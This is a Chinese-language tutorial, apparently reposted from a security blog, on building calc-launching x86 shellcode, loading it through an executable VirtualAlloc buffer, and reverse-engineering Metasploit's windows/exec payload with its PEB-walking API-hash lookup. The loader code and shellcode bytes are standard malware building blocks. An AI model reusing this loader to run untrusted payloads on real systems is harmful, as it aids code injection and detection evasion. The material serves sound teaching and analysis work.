Shellcode提取、加載與解析

區塊軟件開發 發佈 2024-04-07T10:42:47.936944+00:00

如何去是實現一個shellcode的提取、加載呢?0x01 shellcode基礎shellcode為16進位的機器碼,下面我們通過一段打開計算器Calc.exe的簡單的代碼來進一步了解一下什麼是shellcode。#include "stdafx.

如何去是實現一個shellcode的提取、加載呢?

0x01 shellcode基礎

shellcode為16進位的機器碼,下面我們通過一段打開計算器Calc.exe的簡單的代碼來進一步了解一下什麼是shellcode。

#include "stdafx.h"          
#include                    
         
int main(int argc, char* argv[])          
{          
  WinExec("calc",1);          
  return 0;          
}

一句特別簡單的代碼,調用Windows API WinExec 打開計算器,接著我們在OD動態調試看看。

push 0x1 ;在x86下,通過壓棧來傳參,將1壓棧,WinExec("calc",1)里的參數1          
push Opencalc.00406030 ;將存放calc字符串的地址壓棧,也是傳參          
call dword ptr ds:[<&Kernel32.WinExec>] ;調用KERNEL32下的WinExec

引出問題

我們將這三句話下劃線標註部分的機器碼,用C語言的方式表達就是"\x6A\x01\x68\x30\x60\x40\x00\xFF\x15\x00\x50\x40\x00",也就是我常見的shellcode字符串。如果我們把這串加載在內存,能不能成功運行起來,恐怕是不行的,因為我們不能保證每一個程序的0x406030地址上都存放了calc字符串,也不能保證導入表中0x405000就是WinExec地址。

0x02 編寫一個簡單的shellcode

那麼問題很多的小明就會問,如果我們直接傳calc字符串,寫死的WinExec地址,是不是能在當前環境下的主機上運行?那我們就來試試,試試就試試。

首先構造一個calc字符串

xor  ecx, ecx              ; 把ecx置零          
         
push ecx                   ; 置零後壓棧,充當字符串結尾的\x00          
         
push 0x636c6163            ; clac(calc小端)          
         
mov  eax, esp              ; 再把指向calc\x00的棧頂指針保存到eax

**獲取Kernel32 WinExec 地址 **

有兩種方法獲取地址,一是通過動態調試,二是通過GetProcAddress.

方法一:


選中或右鍵再數據窗口跟隨,即可獲取 WinExec 地址。


方法二:

#include "stdafx.h"
#include <windows.h>

typedef int (__cdecl *MYPROC)(LPTSTR);

int main() {
  HINSTANCE Kernel32Addr;
  MYPROC WinExecAddr;

  Kernel32Addr = GetModuleHandle("kernel32.dll");
  printf("KERNEL32 address in memory: 0x%08p\n", Kernel32Addr);

  WinExecAddr = (MYPROC)GetProcAddress(Kernel32Addr, "WinExec");

  printf("WinExec address in memory is: 0x%08p\n", WinExecAddr );
  getchar();  
  return 0;
}


構造完整的彙編代碼

section .data

section .bss

section .text
  global _start

_start:
  xor  ecx, ecx              ; 把ecx置零
  push ecx                   ; 置零後壓棧,充當字符串結尾的\x00
  push 0x636c6163            ; clac(calc小端)
  mov  eax, esp              ; 再把指向calc\x00的棧頂指針保存到eax
  
  inc  ecx              ; ecx 置1
  push ecx              ; 壓棧傳第二個參數1
  push eax              ; 壓棧,eax指向的是calc\x00
  mov  ebx, 0x7c86250d  ; 把WinExec地址保存到evx
  call ebx              ; 執行WinExec

將上面文件保存為xxx.asm,如果windows沒有編譯環境,可以直接用kali進行編譯,命令如下

nasm -f elf32 -o xxx.o xxx.asm
ld -m elf_i386 -o xxx xxx.o

然後通過 objdump -d xxx 讀取文件,並將其通過C格式列印出來,命令如下

objdump -M intel -d xxx | grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

這樣就順利拿到了我們的shellcode


加載shellcode

#include "stdafx.h"
#include <windows.h>

unsigned char shellcode[] = 
"\x31\xc9\x51\x68\x63\x61\x6c\x63\x89\xe0\x41\x51\x50\xbb\x0d\x25\x86\x7c\xff\xd3\x59";


int main(int argc, char* argv[])
{
  //將shellcode保存到內存中進行加載
  void* exec = virtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(exec, shellcode, sizeof shellcode);
  ((void(*)())exec)();
  return 0;
}

編譯後運行。


成功彈出計算器,證實了小明的猜想是可行的。那麼問題很多的小明又問了,這種寫死的地址只能自己操自己,那有什麼用呢?不妨我們來看下msf的shellcode是如何實現在不同機器上實現功能的。

0x03 解析msf的shellcode

我們從逆向的角度去解析msf的shellcode,首先我們先通過一條msfvenom命令輸出與上文實現相同功能的shellcode。

msfvenom -p windows/exec cmd=calc.exe -f c
編譯我們的加載器,對其進行逆向分析。

#include "stdafx.h"
#include <windows.h>

// msf shellcode 
unsigned char shellcode[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main(int argc, char* argv[])
{
  void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(exec, shellcode, sizeof shellcode);
  ((void(*)())exec)();
  return 0;
}

作者使用OD調試報錯,而改用windbg進行動態調試。

0x401000為main函數(代碼段初始地址),是我們加載代碼,通過virtualAlloc申請內存空間,並把內存地址放在了eax裡面,為0x003A0000,通過memcpy,將存放在.data段的shellcode變量存放在0x003A0000上,然後call。


我們跟進去看下,發現已經shellcode已經複製進了內存,我們的shellcode就能夠正常運行起來了,我把每一步彙編的作用都注釋了起來。

大致的流程我們可以分解成:

1.通過硬編碼偏移0x82獲得shellcode末尾的字符串「calc.exe」,然後入棧參數1以及calc.exe,還有winexec API Hash 876F8B31

2.循環遍歷PEB表獲取模塊基址

3.解析PE文件,無導出表則跳過,繼續2

4.解析導出表,導出表數量為0則跳過,繼續2

5.根據導出名稱表遍歷導出名稱來計算hash,並找到對應的函數,也就是WinExec

6.若找不到該函數,則通過鍊表找到下一個模塊信息,繼續2

7.找到winExec,執行該函數

裡面比較有意思的是使用了一個API hash來查找函數地址,這種技術叫SFHA(Stephen Fewer’s Hash AI),相關技術在17年的DEFCON時有專題講解。

0x04總結

還得是要多多調試下代碼,才能深化理解。

from https://www.freebuf.com/articles/endpoint/358706.html

關鍵字: